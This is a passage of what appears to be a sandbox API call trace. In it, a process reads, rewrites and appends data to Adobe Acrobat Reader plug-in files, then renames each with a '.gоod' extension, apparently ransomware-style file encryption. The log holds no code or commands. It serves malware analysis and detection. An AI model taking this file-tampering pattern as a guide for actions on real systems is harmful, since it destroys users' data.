dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0095.772] GetFileType (hFile=0x768) returned 0x1 [0095.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0095.772] GetFileType (hFile=0x768) returned 0x1 [0095.772] ReadFile (in: hFile=0x768, lpBuffer=0x376bfe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x376bfe0*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0096.176] CloseHandle (hObject=0x768) returned 1 [0096.176] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", lpFilePart=0x0) returned 0x4d [0096.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0096.176] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0096.176] GetFileType (hFile=0x768) returned 0x1 [0096.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0096.176] GetFileType (hFile=0x768) returned 0x1 [0096.176] WriteFile (in: hFile=0x768, lpBuffer=0x34dc6d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x34dc6d8*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0096.176] CloseHandle (hObject=0x768) returned 1 [0096.176] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api", lpFilePart=0x0) returned 0x4d [0096.176] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api.gоod", lpFilePart=0x0) returned 0x52 [0096.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0096.177] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfc5641f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3588d75c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x179073)) returned 1 [0096.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0096.177] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\multimedia.api.gоod")) returned 1 [0096.178] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", lpFilePart=0x0) returned 0x48 [0096.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0096.178] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pddom.api"), fInfoLevelId=0x0, lpFileInformation=0x36a6528 | out: lpFileInformation=0x36a6528*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa6659d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x69663)) returned 1 [0096.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0096.178] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", lpFilePart=0x0) returned 0x48 [0096.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0096.178] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pddom.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0096.178] GetFileType (hFile=0x768) returned 0x1 [0096.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0096.178] GetFileType (hFile=0x768) returned 0x1 [0096.178] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0096.178] ReadFile (in: hFile=0x768, lpBuffer=0x36a6940, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x36a6940*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0096.180] CloseHandle (hObject=0x768) returned 1 [0096.180] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", lpFilePart=0x0) returned 0x48 [0096.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0096.180] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pddom.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0096.180] GetFileType (hFile=0x768) returned 0x1 [0096.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0096.180] GetFileType (hFile=0x768) returned 0x1 [0096.180] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x69663 [0096.180] WriteFile (in: hFile=0x768, lpBuffer=0x36a7bf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x36a7bf8*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0096.182] CloseHandle (hObject=0x768) returned 1 [0096.182] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", lpFilePart=0x0) returned 0x48 [0096.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0096.182] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pddom.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0096.182] GetFileType (hFile=0x768) returned 0x1 [0096.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0096.182] GetFileType (hFile=0x768) returned 0x1 [0096.182] ReadFile (in: hFile=0x768, lpBuffer=0x36a9ee8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x36a9ee8*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0096.274] CloseHandle (hObject=0x768) returned 1 [0096.275] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", lpFilePart=0x0) returned 0x48 [0096.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0096.275] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pddom.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0096.275] GetFileType (hFile=0x768) returned 0x1 [0096.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0096.275] GetFileType (hFile=0x768) returned 0x1 [0096.275] WriteFile (in: hFile=0x768, lpBuffer=0x3524de8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x3524de8*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0096.275] CloseHandle (hObject=0x768) returned 1 [0096.275] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api", lpFilePart=0x0) returned 0x48 [0096.275] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api.gоod", lpFilePart=0x0) returned 0x4d [0096.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0096.276] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pddom.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdfa6659d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x359985e0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x69673)) returned 1 [0096.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0096.276] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pddom.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PDDom.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\pddom.api.gоod")) returned 1 [0096.276] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", lpFilePart=0x0) returned 0x4a [0096.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0096.276] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ppklite.api"), fInfoLevelId=0x0, lpFileInformation=0x3575ff8 | out: lpFileInformation=0x3575ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x6edc63)) returned 1 [0096.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0096.277] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", lpFilePart=0x0) returned 0x4a [0096.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0096.277] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ppklite.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0096.277] GetFileType (hFile=0x768) returned 0x1 [0096.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0096.277] GetFileType (hFile=0x768) returned 0x1 [0096.277] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0096.277] ReadFile (in: hFile=0x768, lpBuffer=0x3576410, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3576410*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0096.626] CloseHandle (hObject=0x768) returned 1 [0096.626] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", lpFilePart=0x0) returned 0x4a [0096.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0096.627] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ppklite.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0096.628] GetFileType (hFile=0x768) returned 0x1 [0096.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0096.628] GetFileType (hFile=0x768) returned 0x1 [0096.704] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x6edc63 [0096.736] WriteFile (in: hFile=0x768, lpBuffer=0x36c82b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x36c82b8*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0096.738] CloseHandle (hObject=0x768) returned 1 [0096.738] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", lpFilePart=0x0) returned 0x4a [0096.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0096.738] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ppklite.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0096.738] GetFileType (hFile=0x768) returned 0x1 [0096.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0096.738] GetFileType (hFile=0x768) returned 0x1 [0096.738] ReadFile (in: hFile=0x768, lpBuffer=0x36ca5c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x36ca5c8*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0096.768] CloseHandle (hObject=0x768) returned 1 [0096.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", lpFilePart=0x0) returned 0x4a [0096.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0096.769] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ppklite.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0096.769] GetFileType (hFile=0x768) returned 0x1 [0096.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0096.769] GetFileType (hFile=0x768) returned 0x1 [0096.769] WriteFile (in: hFile=0x768, lpBuffer=0x36c9320*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x36c9320*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0096.769] CloseHandle (hObject=0x768) returned 1 [0096.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api", lpFilePart=0x0) returned 0x4a [0096.769] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api.gоod", lpFilePart=0x0) returned 0x4f [0096.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0096.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ppklite.api"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x35e3718e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6edc73)) returned 1 [0096.770] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0096.770] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ppklite.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\PPKLite.api.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ppklite.api.gоod")) returned 1 [0096.770] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", lpFilePart=0x0) returned 0x4e [0096.770] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0096.770] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\readoutloud.api"), fInfoLevelId=0x0, lpFileInformation=0x37469f0 | out: lpFileInformation=0x37469f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe05dfab0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1a663)) returned 1 [0096.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0096.771] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", lpFilePart=0x0) returned 0x4e [0096.771] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0096.771] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\readoutloud.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0096.771] GetFileType (hFile=0x768) returned 0x1 [0096.771] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0096.771] GetFileType (hFile=0x768) returned 0x1 [0096.771] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0096.771] ReadFile (in: hFile=0x768, lpBuffer=0x3746e28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3746e28*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0097.129] CloseHandle (hObject=0x768) returned 1 [0097.129] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", lpFilePart=0x0) returned 0x4e [0097.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0097.129] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\readoutloud.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0097.129] GetFileType (hFile=0x768) returned 0x1 [0097.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0097.129] GetFileType (hFile=0x768) returned 0x1 [0097.130] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1a663 [0097.130] WriteFile (in: hFile=0x768, lpBuffer=0x394b2d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x394b2d0*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0097.132] CloseHandle (hObject=0x768) returned 1 [0097.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api", lpFilePart=0x0) returned 0x4e [0097.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0097.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\ReadOutLoud.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 